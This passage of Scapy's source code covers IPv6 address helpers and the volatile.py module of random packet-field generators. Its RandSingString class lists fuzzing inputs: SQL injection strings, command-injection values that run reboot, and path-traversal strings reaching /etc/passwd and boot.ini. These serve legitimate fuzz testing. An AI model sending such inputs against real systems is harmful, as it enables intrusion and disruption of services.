address in printable format belongs to _allocated_ global address space (2000::/3). Please note that, Unique Local addresses (FC00::/7) are not part of global address space, and won't match. """ return in6_isincluded(str, '2000::', 3) def in6_ismaddr(str): # type: (str) -> bool """ Returns True if provided address in printable format belongs to allocated Multicast address space (ff00::/8). """ return in6_isincluded(str, 'ff00::', 8) def in6_ismnladdr(str): # type: (str) -> bool """ Returns True if address belongs to node-local multicast address space (ff01::/16) as defined in RFC """ return in6_isincluded(str, 'ff01::', 16) def in6_ismgladdr(str): # type: (str) -> bool """ Returns True if address belongs to global multicast address space (ff0e::/16). """ return in6_isincluded(str, 'ff0e::', 16) def in6_ismlladdr(str): # type: (str) -> bool """ Returns True if address belongs to link-local multicast address space (ff02::/16) """ return in6_isincluded(str, 'ff02::', 16) def in6_ismsladdr(str): # type: (str) -> bool """ Returns True if address belongs to site-local multicast address space (ff05::/16). Site local address space has been deprecated. Function remains for historic reasons. """ return in6_isincluded(str, 'ff05::', 16) def in6_isaddrllallnodes(str): # type: (str) -> bool """ Returns True if address is the link-local all-nodes multicast address (ff02::1). """ return (inet_pton(socket.AF_INET6, "ff02::1") == inet_pton(socket.AF_INET6, str)) def in6_isaddrllallservers(str): # type: (str) -> bool """ Returns True if address is the link-local all-servers multicast address (ff02::2). """ return (inet_pton(socket.AF_INET6, "ff02::2") == inet_pton(socket.AF_INET6, str)) def in6_getscope(addr): # type: (str) -> int """ Returns the scope of the address. """ if in6_isgladdr(addr) or in6_isuladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_islladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_issladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismaddr(addr): if in6_ismgladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_ismlladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_ismsladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismnladdr(addr): scope = IPV6_ADDR_LOOPBACK else: scope = -1 elif addr == '::1': scope = IPV6_ADDR_LOOPBACK else: scope = -1 return scope def in6_get_common_plen(a, b): # type: (str, str) -> int """ Return common prefix length of IPv6 addresses a and b. """ def matching_bits(byte1, byte2): # type: (int, int) -> int for i in range(8): cur_mask = 0x80 >> i if (byte1 & cur_mask) != (byte2 & cur_mask): return i return 8 tmpA = inet_pton(socket.AF_INET6, a) tmpB = inet_pton(socket.AF_INET6, b) for i in range(16): mbits = matching_bits(orb(tmpA[i]), orb(tmpB[i])) if mbits != 8: return 8 * i + mbits return 128 def in6_isvalid(address): # type: (str) -> bool """Return True if 'address' is a valid IPv6 address string, False otherwise.""" try: inet_pton(socket.AF_INET6, address) return True except Exception: return False class Net6(Net): # syntax ex. 2011:db8::/126 """Network object from an IP address or hostname and mask""" name = "Net6" # type: str family = socket.AF_INET6 # type: int max_mask = 128 # type: int @classmethod def ip2int(cls, addr): # type: (str) -> int val1, val2 = struct.unpack( '!QQ', inet_pton(socket.AF_INET6, cls.name2addr(addr)) ) return cast(int, (val1 << 64) + val2) @staticmethod def int2ip(val): # type: (int) -> str return inet_ntop( socket.AF_INET6, struct.pack('!QQ', val >> 64, val & 0xffffffffffffffff), ) ================================================ FILE: scapy/volatile.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Michael Farrell # Copyright (C) Gauthier Sebaux """ Fields that hold random numbers. """ import copy import random import time import math import re import uuid import struct import string from scapy.base_classes import Net from scapy.compat import bytes_encode, chb, plain_str from scapy.utils import corrupt_bits, corrupt_bytes from typing import ( List, TypeVar, Generic, Set, Union, Any, Dict, Optional, Tuple, cast, ) #################### # Random numbers # #################### class RandomEnumeration: """iterate through a sequence in random order. When all the values have been drawn, if forever=1, the drawing is done again. # noqa: E501 If renewkeys=0, the draw will be in the same order, guaranteeing that the same # noqa: E501 number will be drawn in not less than the number of integers of the sequence""" # noqa: E501 def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0): # type: (int, int, Optional[int], int, int) -> None self.forever = forever self.renewkeys = renewkeys self.inf = inf self.rnd = random.Random(seed) self.sbox_size = 256 self.top = sup - inf + 1 n = 0 while (1 << n) < self.top: n += 1 self.n = n self.fs = min(3, (n + 1) // 2) self.fsmask = 2**self.fs - 1 self.rounds = max(self.n, 3) self.turns = 0 self.i = 0 def __iter__(self): # type: () -> RandomEnumeration return self def next(self): # type: () -> int while True: if self.turns == 0 or (self.i == 0 and self.renewkeys): self.cnt_key = self.rnd.randint(0, 2**self.n - 1) self.sbox = [self.rnd.randint(0, self.fsmask) for _ in range(self.sbox_size)] self.turns += 1 while self.i < 2**self.n: ct = self.i ^ self.cnt_key self.i += 1 for _ in range(self.rounds): # Unbalanced Feistel Network lsb = ct & self.fsmask ct >>= self.fs lsb ^= self.sbox[ct % self.sbox_size] ct |= lsb << (self.n - self.fs) if ct < self.top: return self.inf + ct self.i = 0 if not self.forever: raise StopIteration __next__ = next _T = TypeVar('_T') class VolatileValue(Generic[_T]): def __repr__(self): # type: () -> str return "<%s>" % self.__class__.__name__ def _command_args(self): # type: () -> str return '' def command(self, json=False): # type: (bool) -> Union[Dict[str, str], str] if json: return {"type": self.__class__.__name__, "value": self._command_args()} else: return "%s(%s)" % (self.__class__.__name__, self._command_args()) def __eq__(self, other): # type: (Any) -> bool x = self._fix() y = other._fix() if isinstance(other, VolatileValue) else other if not isinstance(x, type(y)): return False return bool(x == y) def __ne__(self, other): # type: (Any) -> bool # Python 2.7 compat return not self == other __hash__ = None # type: ignore def __getattr__(self, attr): # type: (str) -> Any if attr in ["__setstate__", "__getstate__"]: raise AttributeError(attr) return getattr(self._fix(), attr) def __str__(self): # type: () -> str return str(self._fix()) def __bytes__(self): # type: () -> bytes return bytes_encode(self._fix()) def __len__(self): # type: () -> int # Does not work for some types (int?) return len(self._fix()) # type: ignore def copy(self): # type: () -> Any return copy.copy(self) def _fix(self): # type: () -> _T return cast(_T, None) class RandField(VolatileValue[_T], Generic[_T]): pass _I = TypeVar("_I", int, float) class _RandNumeral(RandField[_I]): """Implements integer management in RandField""" def __int__(self): # type: () -> int return int(self._fix()) def __index__(self): # type: () -> int return int(self) def __nonzero__(self): # type: () -> bool return bool(self._fix()) __bool__ = __nonzero__ def __add__(self, other): # type: (_I) -> _I return self._fix() + other def __radd__(self, other): # type: (_I) -> _I return other + self._fix() def __sub__(self, other): # type: (_I) -> _I return self._fix() - other def __rsub__(self, other): # type: (_I) -> _I return other - self._fix() def __mul__(self, other): # type: (_I) -> _I return self._fix() * other def __rmul__(self, other): # type: (_I) -> _I return other * self._fix() def __floordiv__(self, other): # type: (_I) -> float return self._fix() / other __div__ = __floordiv__ def __lt__(self, other): # type: (_I) -> bool return self._fix() < other def __le__(self, other): # type: (_I) -> bool return self._fix() <= other def __ge__(self, other): # type: (_I) -> bool return self._fix() >= other def __gt__(self, other): # type: (_I) -> bool return self._fix() > other class RandNum(_RandNumeral[int]): """Instances evaluate to random integers in selected range""" min = 0 max = 0 def __init__(self, min, max): # type: (int, int) -> None self.min = min self.max = max def _command_args(self): # type: () -> str if self.__class__.__name__ == 'RandNum': return "min=%r, max=%r" % (self.min, self.max) return super(RandNum, self)._command_args() def _fix(self): # type: () -> int return random.randrange(self.min, self.max + 1) def __lshift__(self, other): # type: (int) -> int return self._fix() << other def __rshift__(self, other): # type: (int) -> int return self._fix() >> other def __and__(self, other): # type: (int) -> int return self._fix() & other def __rand__(self, other): # type: (int) -> int return other & self._fix() def __or__(self, other): # type: (int) -> int return self._fix() | other def __ror__(self, other): # type: (int) -> int return other | self._fix() class RandFloat(_RandNumeral[float]): def __init__(self, min, max): # type: (int, int) -> None self.min = min self.max = max def _fix(self): # type: () -> float return random.uniform(self.min, self.max) class RandBinFloat(RandFloat): def _fix(self): # type: () -> float return cast( float, struct.unpack("!f", bytes(RandBin(4)))[0] ) class RandNumGamma(RandNum): def __init__(self, alpha, beta): # type: (int, int) -> None self.alpha = alpha self.beta = beta def _command_args(self): # type: () -> str return "alpha=%r, beta=%r" % (self.alpha, self.beta) def _fix(self): # type: () -> int return int(round(random.gammavariate(self.alpha, self.beta))) class RandNumGauss(RandNum): def __init__(self, mu, sigma): # type: (int, int) -> None self.mu = mu self.sigma = sigma def _command_args(self): # type: () -> str return "mu=%r, sigma=%r" % (self.mu, self.sigma) def _fix(self): # type: () -> int return int(round(random.gauss(self.mu, self.sigma))) class RandNumExpo(RandNum): def __init__(self, lambd, base=0): # type: (float, int) -> None self.lambd = lambd self.base = base def _command_args(self): # type: () -> str ret = "lambd=%r" % self.lambd if self.base != 0: ret += ", base=%r" % self.base return ret def _fix(self): # type: () -> int return self.base + int(round(random.expovariate(self.lambd))) class RandEnum(RandNum): """Instances evaluate to integer sampling without replacement from the given interval""" # noqa: E501 def __init__(self, min, max, seed=None): # type: (int, int, Optional[int]) -> None self._seed = seed self.seq = RandomEnumeration(min, max, seed) super(RandEnum, self).__init__(min, max) def _command_args(self): # type: () -> str ret = "min=%r, max=%r" % (self.min, self.max) if self._seed: ret += ", seed=%r" % self._seed return ret def _fix(self): # type: () -> int return next(self.seq) class RandByte(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, 0, 2**8 - 1) class RandSByte(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, -2**7, 2**7 - 1) class RandShort(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, 0, 2**16 - 1) class RandSShort(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, -2**15, 2**15 - 1) class RandInt(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, 0, 2**32 - 1) class RandSInt(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, -2**31, 2**31 - 1) class RandLong(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, 0, 2**64 - 1) class RandSLong(RandNum): def __init__(self): # type: () -> None RandNum.__init__(self, -2**63, 2**63 - 1) class RandEnumByte(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, 0, 2**8 - 1) class RandEnumSByte(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, -2**7, 2**7 - 1) class RandEnumShort(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, 0, 2**16 - 1) class RandEnumSShort(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, -2**15, 2**15 - 1) class RandEnumInt(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, 0, 2**32 - 1) class RandEnumSInt(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, -2**31, 2**31 - 1) class RandEnumLong(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, 0, 2**64 - 1) class RandEnumSLong(RandEnum): def __init__(self): # type: () -> None RandEnum.__init__(self, -2**63, 2**63 - 1) class RandEnumKeys(RandEnum): """Picks a random value from dict keys list. """ def __init__(self, enum, seed=None): # type: (Dict[Any, Any], Optional[int]) -> None self.enum = list(enum) RandEnum.__init__(self, 0, len(self.enum) - 1, seed) def _command_args(self): # type: () -> str # Note: only outputs the list of keys, but values are irrelevant anyway ret = "enum=%r" % self.enum if self._seed: ret += ", seed=%r" % self._seed return ret def _fix(self): # type: () -> Any return self.enum[next(self.seq)] class RandChoice(RandField[Any]): def __init__(self, *args): # type: (*Any) -> None if not args: raise TypeError("RandChoice needs at least one choice") self._choice = list(args) def _command_args(self): # type: () -> str return ", ".join(self._choice) def _fix(self): # type: () -> Any return random.choice(self._choice) _S = TypeVar("_S", bytes, str) class _RandString(RandField[_S], Generic[_S]): def __str__(self): # type: () -> str return plain_str(self._fix()) def __bytes__(self): # type: () -> bytes return bytes_encode(self._fix()) def __mul__(self, n): # type: (int) -> _S return self._fix() * n class RandString(_RandString[str]): _DEFAULT_CHARS = (string.ascii_uppercase + string.ascii_lowercase + string.digits) def __init__(self, size=None, chars=_DEFAULT_CHARS): # type: (Optional[Union[int, RandNum]], str) -> None if size is None: size = RandNumExpo(0.01) self.size = size self.chars = chars def _command_args(self): # type: () -> str ret = "" if isinstance(self.size, VolatileValue): if self.size.lambd != 0.01 or self.size.base != 0: ret += "size=%r" % self.size.command() else: ret += "size=%r" % self.size if self.chars != self._DEFAULT_CHARS: ret += ", chars=%r" % self.chars return ret def _fix(self): # type: () -> str s = "" for _ in range(int(self.size)): s += random.choice(self.chars) return s class RandBin(_RandString[bytes]): _DEFAULT_CHARS = b"".join(chb(c) for c in range(256)) def __init__(self, size=None, chars=_DEFAULT_CHARS): # type: (Optional[Union[int, RandNum]], bytes) -> None if size is None: size = RandNumExpo(0.01) self.size = size self.chars = chars def _command_args(self): # type: () -> str if not isinstance(self.size, VolatileValue): return "size=%r" % self.size if isinstance(self.size, RandNumExpo) and \ self.size.lambd == 0.01 and self.size.base == 0: # Default size for RandString, skip return "" return "size=%r" % self.size.command() def _fix(self): # type: () -> bytes s = b"" for _ in range(int(self.size)): s += struct.pack("!B", random.choice(self.chars)) return s class RandTermString(RandBin): def __init__(self, size, term): # type: (Union[int, RandNum], bytes) -> None self.term = bytes_encode(term) super(RandTermString, self).__init__(size=size) self.chars = self.chars.replace(self.term, b"") def _command_args(self): # type: () -> str return ", ".join((super(RandTermString, self)._command_args(), "term=%r" % self.term)) def _fix(self): # type: () -> bytes return RandBin._fix(self) + self.term class RandIP(_RandString[str]): _DEFAULT_IPTEMPLATE = "0.0.0.0/0" def __init__(self, iptemplate=_DEFAULT_IPTEMPLATE): # type: (str) -> None super(RandIP, self).__init__() self.ip = Net(iptemplate) def _command_args(self): # type: () -> str rep = "%s/%s" % (self.ip.net, self.ip.mask) if rep == self._DEFAULT_IPTEMPLATE: return "" return "iptemplate=%r" % rep def _fix(self): # type: () -> str return self.ip.choice() class RandMAC(_RandString[str]): def __init__(self, _template="*"): # type: (str) -> None super(RandMAC, self).__init__() self._template = _template _template += ":*:*:*:*:*" template = _template.split(":") self.mac = () # type: Tuple[Union[int, RandNum], ...] for i in range(6): v = 0 # type: Union[int, RandNum] if template[i] == "*": v = RandByte() elif "-" in template[i]: x, y = template[i].split("-") v = RandNum(int(x, 16), int(y, 16)) else: v = int(template[i], 16) self.mac += (v,) def _command_args(self): # type: () -> str if self._template == "*": return "" return "template=%r" % self._template def _fix(self): # type: () -> str return "%02x:%02x:%02x:%02x:%02x:%02x" % self.mac # type: ignore class RandIP6(_RandString[str]): def __init__(self, ip6template="**"): # type: (str) -> None super(RandIP6, self).__init__() self.tmpl = ip6template self.sp = [] # type: List[Union[int, RandNum, str]] for v in self.tmpl.split(":"): if not v or v == "**": self.sp.append(v) continue if "-" in v: a, b = v.split("-") elif v == "*": a = b = "" else: a = b = v if not a: a = "0" if not b: b = "ffff" if a == b: self.sp.append(int(a, 16)) else: self.sp.append(RandNum(int(a, 16), int(b, 16))) self.variable = "" in self.sp self.multi = self.sp.count("**") def _command_args(self): # type: () -> str if self.tmpl == "**": return "" return "ip6template=%r" % self.tmpl def _fix(self): # type: () -> str nbm = self.multi ip = [] # type: List[str] for i, n in enumerate(self.sp): if n == "**": nbm -= 1 remain = 8 - (len(self.sp) - i - 1) - len(ip) + nbm if "" in self.sp: remain += 1 if nbm or self.variable: remain = random.randint(0, remain) for j in range(remain): ip.append("%04x" % random.randint(0, 65535)) elif isinstance(n, RandNum): ip.append("%04x" % int(n)) elif n == 0: ip.append("0") elif not n: ip.append("") else: ip.append("%04x" % int(n)) if len(ip) == 9: ip.remove("") if ip[-1] == "": ip[-1] = "0" return ":".join(ip) class RandOID(_RandString[str]): def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)): # noqa: E501 # type: (Optional[str], RandNumExpo, RandNumExpo) -> None super(RandOID, self).__init__() self.ori_fmt = fmt self.fmt = None # type: Optional[List[Union[str, Tuple[int, ...]]]] if fmt is not None: self.fmt = [ tuple(map(int, x.split("-"))) if "-" in x else x for x in fmt.split(".") ] self.depth = depth self.idnum = idnum def _command_args(self): # type: () -> str ret = [] if self.fmt: ret.append("fmt=%r" % self.ori_fmt) if not isinstance(self.depth, VolatileValue): ret.append("depth=%r" % self.depth) elif not isinstance(self.depth, RandNumExpo) or \ self.depth.lambd != 0.1 or self.depth.base != 0: ret.append("depth=%s" % self.depth.command()) if not isinstance(self.idnum, VolatileValue): ret.append("idnum=%r" % self.idnum) elif not isinstance(self.idnum, RandNumExpo) or \ self.idnum.lambd != 0.01 or self.idnum.base != 0: ret.append("idnum=%s" % self.idnum.command()) return ", ".join(ret) def __repr__(self): # type: () -> str if self.ori_fmt is None: return "<%s>" % self.__class__.__name__ else: return "<%s [%s]>" % (self.__class__.__name__, self.ori_fmt) def _fix(self): # type: () -> str if self.fmt is None: return ".".join(str(self.idnum) for _ in range(1 + self.depth)) else: oid = [] for i in self.fmt: if i == "*": oid.append(str(self.idnum)) elif i == "**": oid += [str(self.idnum) for i in range(1 + self.depth)] elif isinstance(i, tuple): oid.append(str(random.randrange(*i))) else: oid.append(i) return ".".join(oid) class RandRegExp(RandField[str]): def __init__(self, regexp, lambda_=0.3): # type: (str, float) -> None self._regexp = regexp self._lambda = lambda_ def _command_args(self): # type: () -> str ret = "regexp=%r" % self._regexp if self._lambda != 0.3: ret += ", lambda_=%r" % self._lambda return ret special_sets = { "[:alnum:]": "[a-zA-Z0-9]", "[:alpha:]": "[a-zA-Z]", "[:ascii:]": "[\x00-\x7F]", "[:blank:]": "[ \t]", "[:cntrl:]": "[\x00-\x1F\x7F]", "[:digit:]": "[0-9]", "[:graph:]": "[\x21-\x7E]", "[:lower:]": "[a-z]", "[:print:]": "[\x20-\x7E]", "[:punct:]": "[!\"\\#$%&'()*+,\\-./:;<=>?@\\[\\\\\\]^_{|}~]", "[:space:]": "[ \t\r\n\v\f]", "[:upper:]": "[A-Z]", "[:word:]": "[A-Za-z0-9_]", "[:xdigit:]": "[A-Fa-f0-9]", } @staticmethod def choice_expand(s): # type: (str) -> str m = "" invert = s and s[0] == "^" while True: p = s.find("-") if p < 0: break if p == 0 or p == len(s) - 1: m = "-" if p: s = s[:-1] else: s = s[1:] else: c1 = s[p - 1] c2 = s[p + 1] rng = "".join(map(chr, range(ord(c1), ord(c2) + 1))) s = s[:p - 1] + rng + s[p + 1:] res = m + s if invert: res = "".join(chr(x) for x in range(256) if chr(x) not in res) return res @staticmethod def stack_fix(lst, index): # type: (List[Any], List[Any]) -> str r = "" mul = 1 for e in lst: if isinstance(e, list): if mul != 1: mul = mul - 1 r += RandRegExp.stack_fix(e[1:] * mul, index) # only the last iteration should be kept for back reference f = RandRegExp.stack_fix(e[1:], index) for i, idx in enumerate(index): if e is idx: index[i] = f r += f mul = 1 elif isinstance(e, tuple): kind, val = e if kind == "cite": r += index[val - 1] elif kind == "repeat": mul = val elif kind == "choice": if mul == 1: c = random.choice(val) r += RandRegExp.stack_fix(c[1:], index) else: r += RandRegExp.stack_fix([e] * mul, index) mul = 1 else: if mul != 1: r += RandRegExp.stack_fix([e] * mul, index) mul = 1 else: r += str(e) return r def _fix(self): # type: () -> str stack = [None] index = [] # Give up on typing this current = stack # type: Any i = 0 regexp = self._regexp for k, v in self.special_sets.items(): regexp = regexp.replace(k, v) ln = len(regexp) interp = True while i < ln: c = regexp[i] i += 1 if c == '(': current = [current] current[0].append(current) elif c == '|': p = current[0] ch = p[-1] if not isinstance(ch, tuple): ch = ("choice", [current]) p[-1] = ch else: ch[1].append(current) current = [p] elif c == ')': ch = current[0][-1] if isinstance(ch, tuple): ch[1].append(current) index.append(current) current = current[0] elif c == '[' or c == '{': current = [current] current[0].append(current) interp = False elif c == ']': current = current[0] choice = RandRegExp.choice_expand("".join(current.pop()[1:])) current.append(RandChoice(*list(choice))) interp = True elif c == '}': current = current[0] num = "".join(current.pop()[1:]) e = current.pop() if "," not in num: current.append([current] + [e] * int(num)) else: num_min, num_max = num.split(",") if not num_min: num_min = "0" if num_max: n = RandNum(int(num_min), int(num_max)) else: n = RandNumExpo(self._lambda, base=int(num_min)) current.append(("repeat", n)) current.append(e) interp = True elif c == '\\': c = regexp[i] if c == "s": current.append(RandChoice(" ", "\t")) elif c in "0123456789": current.append("cite", ord(c) - 0x30) i += 1 elif not interp: current.append(c) elif c == '+': e = current.pop() current.append([current] + [e] * (int(random.expovariate(self._lambda)) + 1)) # noqa: E501 elif c == '*': e = current.pop() current.append([current] + [e] * int(random.expovariate(self._lambda))) # noqa: E501 elif c == '?': if random.randint(0, 1): current.pop() elif c == '.': current.append(RandChoice(*[chr(x) for x in range(256)])) elif c == '$' or c == '^': pass else: current.append(c) return RandRegExp.stack_fix(stack[1:], index) def __repr__(self): # type: () -> str return "<%s [%r]>" % (self.__class__.__name__, self._regexp) class RandSingularity(RandChoice): pass class RandSingNum(RandSingularity): @staticmethod def make_power_of_two(end): # type: (int) -> Set[int] sign = 1 if end == 0: end = 1 if end < 0: end = -end sign = -1 end_n = int(math.log(end) / math.log(2)) + 1 return {sign * 2**i for i in range(end_n)} def __init__(self, mn, mx): # type: (int, int) -> None self._mn = mn self._mx = mx sing = {0, mn, mx, int((mn + mx) / 2)} sing |= self.make_power_of_two(mn) sing |= self.make_power_of_two(mx) for i in sing.copy(): sing.add(i + 1) sing.add(i - 1) for i in sing.copy(): if not mn <= i <= mx: sing.remove(i) super(RandSingNum, self).__init__(*sing) self._choice.sort() def _command_args(self): # type: () -> str if self.__class__.__name__ == 'RandSingNum': return "mn=%r, mx=%r" % (self._mn, self._mx) return super(RandSingNum, self)._command_args() class RandSingByte(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, 0, 2**8 - 1) class RandSingSByte(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, -2**7, 2**7 - 1) class RandSingShort(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, 0, 2**16 - 1) class RandSingSShort(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, -2**15, 2**15 - 1) class RandSingInt(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, 0, 2**32 - 1) class RandSingSInt(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, -2**31, 2**31 - 1) class RandSingLong(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, 0, 2**64 - 1) class RandSingSLong(RandSingNum): def __init__(self): # type: () -> None RandSingNum.__init__(self, -2**63, 2**63 - 1) class RandSingString(RandSingularity): def __init__(self): # type: () -> None choices_list = ["", "%x", "%%", "%s", "%i", "%n", "%x%x%x%x%x%x%x%x%x", "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", "%", "%%%", "A" * 4096, b"\x00" * 4096, b"\xff" * 4096, b"\x7f" * 4096, b"\x80" * 4096, " " * 4096, "\\" * 4096, "(" * 4096, "../" * 1024, "/" * 1024, "${HOME}" * 512, " or 1=1 --", "' or 1=1 --", '" or 1=1 --', " or 1=1; #", "' or 1=1; #", '" or 1=1; #', ";reboot;", "$(reboot)", "`reboot`", "index.php%00", b"\x00", "%00", "\\", "../../../../../../../../../../../../../../../../../etc/passwd", # noqa: E501 "%2e%2e%2f" * 20 + "etc/passwd", "%252e%252e%252f" * 20 + "boot.ini", "..%c0%af" * 20 + "etc/passwd", "..%c0%af" * 20 + "boot.ini", "//etc/passwd", r"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini", # noqa: E501 "AUX:", "CLOCK$", "COM:", "CON:", "LPT:", "LST:", "NUL:", "CON:", r"C:\CON\CON", r"C:\boot.ini", r"\\myserver\share", "foo.exe:", "foo.exe\\", ] super(RandSingString, self).__init__(*choices_list) def _command_args(self): # type: () -> str return "" def __str__(self): # type: () -> str return str(self._fix()) def __bytes__(self): # type: () -> bytes return bytes_encode(self._fix()) class RandPool(RandField[VolatileValue[Any]]): def __init__(self, *args): # type: (*Tuple[VolatileValue[Any], int]) -> None """Each parameter is a volatile object or a couple (volatile object, weight)""" # noqa: E501 self._args = args pool = [] # type: List[VolatileValue[Any]] for p in args: w = 1 if isinstance(p, tuple): p, w = p # type: ignore pool += [cast(VolatileValue[Any], p)] * w self._pool = pool def _command_args(self): # type: () -> str ret = [] for p in self._args: if isinstance(p, tuple): ret.append("(%s, %r)" % (p[0].command(), p[1])) else: ret.append(p.command()) return ", ".join(ret) def _fix(self): # type: () -> Any r = random.choice(self._pool) return r._fix() class RandUUID(RandField[uuid.UUID]): """Generates a random UUID. By default, this generates a RFC 4122 version 4 UUID (totally random). See Python's ``uuid`` module documentation for more information. Args: template (optional): A template to build the UUID from. Not valid with any other option. node (optional): A 48-bit Host ID. Only valid for version 1 (where it is optional). clock_seq (optional): An integer of up to 14-bits for the sequence number. Only valid for version 1 (where it is optional). namespace: A namespace identifier, which is also a UUID. Required for versions 3 and 5, must be omitted otherwise. name: string, required for versions 3 and 5, must be omitted otherwise. version: Version of UUID to use (1, 3, 4 or 5). If omitted, attempts to guess which version to generate, defaulting to version 4 (totally random). Raises: ValueError: on invalid constructor arguments """ # This was originally scapy.contrib.dce_rpc.RandUUID. _BASE = "([0-9a-f]{{{0}}}|\\*|[0-9a-f]{{{0}}}:[0-9a-f]{{{0}}})" _REG = re.compile( r"^{0}-?{1}-?{1}-?{2}{2}-?{2}{2}{2}{2}{2}{2}$".format( _BASE.format(8), _BASE.format(4), _BASE.format(2) ), re.I ) VERSIONS = [1, 3, 4, 5] def __init__(self, template=None, # type: Optional[Any] node=None, # type: Optional[int] clock_seq=None, # type: Optional[int] namespace=None, # type: Optional[uuid.UUID] name=None, # type: Optional[str] version=None, # type: Optional[Any] ): # type: (...) -> None self._template = template self._ori_version = version self.uuid_template = None self.clock_seq = None self.namespace = None self.name = None self.node = None self.version = None if template: if node or clock_seq or namespace or name or version: raise ValueError("UUID template must be the only parameter, " "if specified") tmp = RandUUID._REG.match(template) if tmp: template = tmp.groups() else: # Invalid template raise ValueError("UUID template is invalid") rnd_f = [RandInt] + [RandShort] * 2 + [RandByte] * 8 uuid_template = [] # type: List[Union[int, RandNum]] for i, t in enumerate(template): if t == "*": uuid_template.append(rnd_f[i]()) elif ":" in t: mini, maxi = t.split(":") uuid_template.append( RandNum(int(mini, 16), int(maxi, 16)) ) else: uuid_template.append(int(t, 16)) self.uuid_template = tuple(uuid_template) else: if version: if version not in RandUUID.VERSIONS: raise ValueError("version is not supported") else: self.version = version else: # No version specified, try to guess... # This could be wrong, and cause an error later! if node or clock_seq: self.version = 1 elif namespace and name: self.version = 5 else: # Don't know, random! self.version = 4 # We have a version, now do things... if self.version == 1: if namespace or name: raise ValueError("namespace and name may not be used with " "version 1") self.node = node self.clock_seq = clock_seq elif self.version in (3, 5): if node or clock_seq: raise ValueError("node and clock_seq may not be used with " "version {}".format(self.version)) self.namespace = namespace self.name = name elif self.version == 4: if namespace or name or node or clock_seq: raise ValueError("node, clock_seq, node and clock_seq may " "not be used with version 4. If you " "did not specify version, you need to " "specify it explicitly.") def _command_args(self): # type: () -> str ret = [] if self._template: ret.append("template=%r" % self._template) if self.node: ret.append("node=%r" % self.node) if self.clock_seq: ret.append("clock_seq=%r" % self.clock_seq) if self.namespace: ret.append("namespace=%r" % self.namespace) if self.name: ret.append("name=%r" % self.name) if self._ori_version: ret.append("version=%r" % self._ori_version) return ", ".join(ret) def _fix(self): # type: () -> uuid.UUID if self.uuid_template: return uuid.UUID(("%08x%04x%04x" + ("%02x" * 8)) % self.uuid_template) elif self.version == 1: return uuid.uuid1(self.node, self.clock_seq) elif self.version == 3: if not self.namespace or not self.name: raise ValueError("Missing namespace or name") return uuid.uuid3(self.namespace, self.name) elif self.version == 4: return uuid.uuid4() elif self.version == 5: if not self.namespace or not self.name: raise ValueError("Missing namespace or name") return uuid.uuid5(self.namespace, self.name) else: raise ValueError("Unhandled version") # Automatic timestamp class _AutoTime(_RandNumeral[_T], # type: ignore Generic[_T]): def __init__(self, base=None, diff=None): # type: (Optional[int], Optional[float]) -> None self._base = base self._ori_diff = diff if diff is not None: self.diff = diff elif base is None: self.diff = 0. else: self.diff = time.time() - base def _command_args(self): # type: () -> str ret = [] if self._base: ret.append("base=%r" % self._base) if self._ori_diff: ret.append("diff=%r" % self._ori_diff) return ", ".join(ret) class AutoTime(_AutoTime[float]): def _fix(self): # type: () -> float return time.time() - self.diff class IntAutoTime(_AutoTime[int]): def _fix(self): # type: () -> int return int(time.time() - self.diff) class ZuluTime(_AutoTime[str]): def __init__(self, diff=0): # type: (int) -> None super(ZuluTime, self).__init__(diff=diff) def _fix(self): # type: () -> str return time.strftime("%y%m%d%H%M%SZ", time.gmtime(time.time() + self.diff)) class GeneralizedTime(_AutoTime[str]): def __init__(self, diff=0): # type: (int) -> None super(GeneralizedTime, self).__init__(diff=diff) def _fix(self): # type: () -> str return time.strftime("%Y%m%d%H%M%SZ", time.gmtime(time.time() + self.diff)) class DelayedEval(VolatileValue[Any]): """ Example of usage: DelayedEval("time.time()") """ def __init__(self, expr): # type: (str) -> None self.expr = expr def _command_args(self): # type: () -> str return "expr=%r" % self.expr def _fix(self): # type: () -> Any return eval(self.expr) class IncrementalValue(VolatileValue[int]): def __init__(self, start=0, step=1, restart=-1): # type: (int, int, int) -> None self.start = self.val = start self.step = step self.restart = restart def _command_args(self): # type: () -> str ret = [] if self.start: ret.append("start=%r" % self.start) if self.step != 1: ret.append("step=%r" % self.step) if self.restart != -1: ret.append("restart=%r" % self.restart) return ", ".join(ret) def _fix(self): # type: () -> int v = self.val if self.val == self.restart: self.val = self.start else: self.val += self.step return v class CorruptedBytes(VolatileValue[bytes]): def __init__(self, s, p=0.01, n=None): # type: (str, float, Optional[Any]) -> None self.s = s self.p = p self.n = n def _command_args(self): # type: () -> str ret = [] ret.append("s=%r" % self.s) if self.p != 0.01: ret.append("p=%r" % self.p) if 